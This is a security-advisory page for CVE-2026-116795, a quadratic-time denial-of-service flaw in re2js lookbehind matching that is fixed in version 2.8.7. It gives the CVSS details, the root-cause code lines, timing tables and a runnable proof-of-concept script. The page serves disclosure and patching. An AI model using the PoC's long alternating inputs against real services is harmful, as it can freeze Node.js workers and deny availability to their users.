VulnerabilityPublished 28 Oct 2026

CVE-2026-116795: Quadratic-time denial of service in re2js lookbehind matching

Affects re2jsSource GCVE Database

Authoritative record:CVE-2026-116795· High 7.5

Not known to be exploited · CVSS 7.5 High : upgrade to 2.8.7 soon.

Data as of 28 Oct 2026, 22:12 UTC

CVSS 3.1 base score

7.5High

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 2.8.7

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: None
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 28 Oct 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade re2js to 2.8.7.

Affected software

Product	Affected	Fixed in
npmre2js	Affected >=2.2.0 <2.8.7	Fixed in 2.8.7

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary Using the opt-in `LOOKBEHINDS` flag together with any repeated-matching API (`matcher().find()` in a loop, `matchAll()`, `split()`, `matcher().replaceAll()`) causes quadratic-time (Θ(n²)) matching, contradicting the library's own "linear time matching" guarantee. A single call with a 16,000-character input takes **36.7–38.7 seconds of CPU**. ### Description #### Root cause In `build/index.cjs`, `Machine.match`: ```js let currentPos = this.prog.numLb > 0 ? 0 : pos; // ~line 1907 ... if (this.ncap === 0 && this.matched) break; // ~line 1953 ``` Any pattern containing a lookbehind sets `prog.numLb > 0`, which forces the scan to **always restart at offset 0**, regardless of the requested start position — the lookbehind automaton is re-seeded and the whole input is re-walked on every single `find()` call. The early-exit optimization that would otherwise stop at the first match only fires when `ncap === 0`, but every `Matcher`-based API (`find`/`matchAll`/`split`/`replaceAll`) always requests `ncap = 2` (one capture group slot) **even for a captureless lookbehind pattern** — so the early exit never triggers through those APIs, and the scan continues to the end of the input on every find. A find-loop over *k* matches in an *n*-character string therefore costs *k* × Θ(*n*); for dense matches *k* ∝ *n*, giving **Θ(n²)** total. #### Isolating control Identical find-loop, identical input sizes, same 2-character literal pattern *shape* — but **without** the `LOOKBEHINDS` flag: | n | with `LOOKBEHINDS` (lookbehind pattern) | without (plain literal) | native JS `RegExp` lookbehind | |---|---|---|---| | 2,000 | 204–228 ms | 3 ms | 0 ms | | 4,000 | 877–899 ms | 4 ms | 0 ms | | 8,000 | 5,746–6,599 ms | 7 ms | 1 ms | | 16,000 | 36,667–38,732 ms | 6 ms | 1 ms | This isolates the lookbehind machinery itself — not pattern length, not match density in the abstract — as the exact and sole cause. #### Impact - `re2js`'s entire value proposition is being an RE2-style engine with **linear-time, no-backtracking** matching, specifically to resist algorithmic-complexity attacks that plague backtracking regex engines. This finding defeats that guarantee for any consumer using the advertised `LOOKBEHINDS` feature. - Realistic affected code paths: log/text processing that tokenizes or redacts using a lookbehind-based pattern (`matchAll`, `split`, `replaceAll` are the natural APIs for exactly this), applied to attacker-influenced text (user input, uploaded logs, scraped content). - A single ~16–32 KB request pins a CPU core for tens of seconds to minutes; Node.js being single-threaded, this freezes the whole worker process for the duration. No authentication or special pattern knowledge is required from the attacker — ordinary alternating text (`"abababab..."`) triggers it. #### Reproduction (copy-paste runnable) create file poc.js ```js 'use strict'; // PoC: quadratic-time DoS in re2js's lookbehind matching (opt-in LOOKBEHINDS flag). // Usage: // npm pack re2js@2.8.6 --ignore-scripts && tar -xzf re2js-2.8.6.tgz // node poc.js ./package const path = require('path'); const pkgDir = process.argv[2] || './package'; const { RE2JS } = require(path.resolve(pkgDir, 'build/index.cjs')); const re = RE2JS.compile('(?<=a)b', RE2JS.LOOKBEHINDS); function timeFindLoop(n) { const s = 'ab'.repeat(n / 2); const t0 = Date.now(); const m = re.matcher(s); let count = 0; while (m.find()) count++; return { ms: Date.now() - t0, count }; } console.log('n, matches, ms'); const sizes = [2000, 4000, 8000, 16000]; const results = []; for (const n of sizes) { const r = timeFindLoop(n); results.push(r.ms); console.log(`${n}, ${r.count}, ${r.ms}`); } const ratio = results[results.length - 1] / results[results.length - 2]; console.log(''); console.log('time ratio for the last doubling of n:', ratio.toFixed(2), '(~2 => linear, ~4 => quadratic)'); console.log(ratio > 3 ? 'PASS quadratic scaling confirmed on the REAL published package' : 'FAIL scaling looks linear'); process.exit(ratio > 3 ? 0 : 1); ``` and run in terminal ```sh npm pack re2js@2.8.6 --ignore-scripts tar -xzf re2js-2.8.6.tgz node poc.js ./package ``` `poc.js` times a `matcher(s).find()` loop over `(?<=a)b` + `RE2JS.LOOKBEHINDS` on inputs of 2,000/4,000/8,000/16,000 chars and reports the doubling ratio. Expected: clearly superlinear (ratio ≫ 2, approaching or exceeding the 4× quadratic signature), reaching tens of seconds at 16,000 chars. Run twice; results are deterministic.

CWE-1333Inefficient Regular Expression Complexity (opens in a new tab)
Base weaknessLikelihood of exploit: High
The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.
Architecture and Design
Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
System Configuration
Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
Implementation
Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
OWASP Cheat Sheets
File Upload (opens in a new tab)
OWASP ASVS 4.0.3
V12.1.1 (opens in a new tab)
Attack patterns
Regular Expression Exponential Blowup (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).
CWE-407Inefficient Algorithmic Complexity (opens in a new tab)
Class weaknessLikelihood of exploit: Low
An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.
OWASP Cheat Sheets
File Upload (opens in a new tab)
OWASP ASVS 4.0.3
V12.1.1 (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

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Exploitation evidence

What to do

Affected software

Description

WeaknessesCWE-1333, CWE-407

Technical details

References

Community reviews

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